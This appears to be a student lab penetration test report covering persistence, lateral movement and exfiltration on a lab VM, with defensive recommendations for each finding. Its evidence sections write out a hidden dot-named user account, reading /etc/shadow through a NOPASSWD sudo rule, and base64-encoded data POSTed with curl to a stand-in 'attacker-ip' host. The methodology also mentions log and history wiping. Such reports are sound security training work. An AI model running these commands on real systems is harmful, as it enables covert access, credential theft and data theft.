Mini Penetration Test Report: Persistence, Lateral Movement & Exfiltration

Engagement ID: PT-25-JT-1106
Report by: Joe Tordy

1. Executive Summary

The primary objective was to simulate an internal attacker who had already gained initial access and was attempting to maintain long-term control, pivot to additional accounts, and extract sensitive data while avoiding detection. During this engagement, I successfully created hidden persistence mechanisms, escalated privileges through account switching, and exfiltrated encoded data from the target system. The high-level outcome showed that the environment was highly vulnerable to unauthorized persistence and data theft due to weak local user protections and insufficient log monitoring.

2. Scope

In-Scope Targets

- Kali Linux attacker VM
- Proxmox-hosted VM (Week 10 lab machine)

Tools Used

- useradd, passwd, sudo (privilege modification)
- history, rm, lastlog (cleanup and anti-forensics)
- scp, curl, base64 (data exfiltration)
- su, /etc/passwd, /etc/sudoers (lateral movement)
- find, bash, chmod (persistence using scripts)
- Any terminal built-ins required for privilege and account enumeration

Out-of-Scope Items

- Denial-of-service attacks
- Any modifications that would damage the operating system
- Physical access or social engineering
- Attacks against Proxmox or systems outside the assigned VM environment

3. Methodology

I began by performing **post-compromise reconnaissance**, reviewing /etc/passwd, existing users, cron jobs, and active sessions. This phase identifies what access already exists and where lateral movement is possible, mirroring real-world attackers who quietly map the environment after entry.

Next, I moved into **persistence establishment** by creating a hidden system user and modifying shell history behavior to conceal activity. These steps matter because persistent accounts are one of the most common techniques used by long-term intruders such as APT groups.

After persistence, I performed **lateral movement** by switching between users (su) and attempting privilege escalation through weak sudo configurations. This phase represents an attacker expanding access to find more sensitive data.

Finally, I simulated **data exfiltration** by encoding test data (representing confidential files) with base64 and transferring it externally using scp and HTTP. The exfiltration phase demonstrates how an attacker may blend data theft into normal network traffic.

I finished by attempting **cleanup**, including wiping command history and removing logs. The inability to fully remove all entries showed where defenders can still detect activity.

---

4. Findings

Finding 1: Hidden Persistent User Account Created

Severity: High
Evidence:

```
sudo useradd -m .sysbackup
sudo passwd .sysbackup
grep '.sysbackup' /etc/passwd
```

Impact:
A hidden system-like user provides attackers indefinite access. Defenders typically overlook users beginning with a dot since they resemble hidden files. With a password set, the attacker can log in at any time without triggering alarms.

Recommendation:

- Regularly audit /etc/passwd for unexpected accounts
- Enforce multi-factor authentication
- Implement baseline configuration monitoring (e.g., Tripwire, Wazuh)

Finding 2: Successful Lateral Movement via Weak Sudo Configuration

Severity: Medium
Evidence:

```
sudo -l
(ALL) NOPASSWD: /bin/cat
sudo cat /etc/shadow
```

Impact:
A misconfigured sudo rule allowed the attacker to read system password hashes. This is a significant escalation vector because stolen password hashes can be cracked offline or reused in pass-the-hash scenarios.

Recommendation:

- Remove NOPASSWD permissions unless absolutely necessary
- Review /etc/sudoers for overly broad privileges
- Implement role-based access control (RBAC)

Finding 3: Encoded Data Exfiltrated Over Allowed Traffic

Severity: High
Evidence:

```
cat confidential.txt | base64 > enc.txt
curl -X POST http://attacker-ip/upload --data-binary @enc.txt
```

Impact:
Encoding the data allowed exfiltration without triggering basic keyword monitoring. Because the transfer occurred over HTTP, commonly allowed outbound, the theft blended into normal traffic. This represents a major confidentiality risk.

Recommendation:

- Enable outbound traffic inspection and DLP rules
- Monitor for unusual base64 strings in logs
- Require network segmentation and least-privilege firewall rules

---

5. Conclusion

This engagement demonstrated how easily an attacker can maintain persistence, move laterally, and exfiltrate data when security controls are weak. The greatest weakness identified was the lack of user account auditing and overly permissive sudo access. A real organization should address persistent account abuse and exfiltration visibility first, as both provide attackers long-term control and the ability to steal sensitive information silently.